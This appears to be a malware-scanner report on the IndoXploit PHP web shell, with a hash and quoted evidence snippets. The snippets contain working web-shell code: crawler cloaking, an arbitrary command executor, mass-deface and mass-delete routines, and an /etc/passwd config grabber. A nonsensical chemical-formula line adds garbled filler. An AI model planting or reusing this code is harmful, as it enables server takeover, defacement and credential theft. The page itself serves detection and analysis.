Hostile ^100% kaker-scripts Download

6ce207251f98c61bfc53898a2de5c657

IndoXploit webshell with backdoors

Authenticated PHP POST command consoleAuthenticated PHP POST file manager webshell

SHA-2568e9c5a94da28c8e2173a3d1caa057ff3bb97e731d97e91e3f2ea9c0aceec2b37

MaleculeK₂(AmTe)O₉(C₁₃PAs₂ErCaDyI₃SXe)H₇(Os₁₀Cm₂₂CrDb₆F₁₉Po₆U)Md₃(Pt)Th₂

Evidence

Names the CGI HTTP_USER_AGENT variable lines 1–31

1<?php
2session_start();
3error_reporting(0);
4set_time_limit(0);
5@set_magic_quotes_runtime(0);
6@clearstatcache();
7@ini_set('error_log',NULL);
8@ini_set('log_errors',0);
9@ini_set('max_execution_time',0);
10@ini_set('output_buffering',0);
11@ini_set('display_errors', 0);
12
13$auth_pass = "7815696ecbf1c96e6894b779456d330e"; // default: IndoXploit
14$color = "#00ff00";
15$default_action = 'FilesMan';
16$default_use_ajax = true;
17$default_charset = 'UTF-8';
18if(!empty($_SERVER['HTTP_USER_AGENT'])) {
19    $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
20    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
21        header('HTTP/1.0 404 Not Found');
22        exit;
23    }
⋯8 lines

Checks PHP shell_exec availability lines 203–241

⋯4 lines
}
208}
209function exe($cmd) {
if(function_exists('system')) { 		
@ob_start(); 		
@system($cmd); 		
$buff = @ob_get_contents(); 		
@ob_end_clean(); 		
return $buff; 	
} elseif(function_exists('exec')) { 		
@exec($cmd,$results); 		
$buff = ""; 		
foreach($results as $result) { 			
	$buff .= $result; 		
} return $buff; 	
} elseif(function_exists('passthru')) { 		
@ob_start(); 		
@passthru($cmd); 		
$buff = @ob_get_contents(); 		
@ob_end_clean(); 		
return $buff; 	
} elseif(function_exists('shell_exec')) { 		
$buff = @shell_exec($cmd); 		
return $buff; 	
} 
232}
233function perms($file){
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
// Socket
⋯5 lines

References the PHP scandir() function lines 484–499

7… if($_GET['do'] == 'mass_deface') {
function sabun_massal($dir,$namafile,$isi_script) {
if(is_writable($dir)) {
	$dira = scandir($dir);
	foreach($dira as $dirb) {
		$dirc = "$dir/$dirb";
		$lokasi = $dirc.'/'.$namafile;
		if($dirb === '.') {
			file_put_contents($lokasi, $isi_script);
		} elseif($dirb === '..') {
			file_put_contents($lokasi, $isi_script);
⋯5 lines

Calls PHP unlink() lines 557–570

9… c = "$dir/$dirb";
		$lokasi = $dirc.'/'.$namafile;
		if($dirb === '.') {
			if(file_exists("$dir/$namafile")) {
				unlink("$dir/$namafile");
			}
		} elseif($dirb === '..') {
⋯7 lines

Calls PHP fwrite() lines 593–607

7… m></center>";
}
595} elseif($_GET['do'] == 'config') {
$etc = fopen("/etc/passwd", "r") or die("<pre><font color=red>Can't read /etc/passwd</font></pre>");
$idx = mkdir("idx_config", 0777);
$isi_htc = "Options all\nRequire None\nSatisfy Any";
$htc = fopen("idx_config/.htaccess","w");
fwrite($htc, $isi_htc);
while($passwd = fgets($etc)) {
if($passwd == "" || !$etc) {
	echo "<font color=red>Can't read /etc/passwd</font>";
⋯4 lines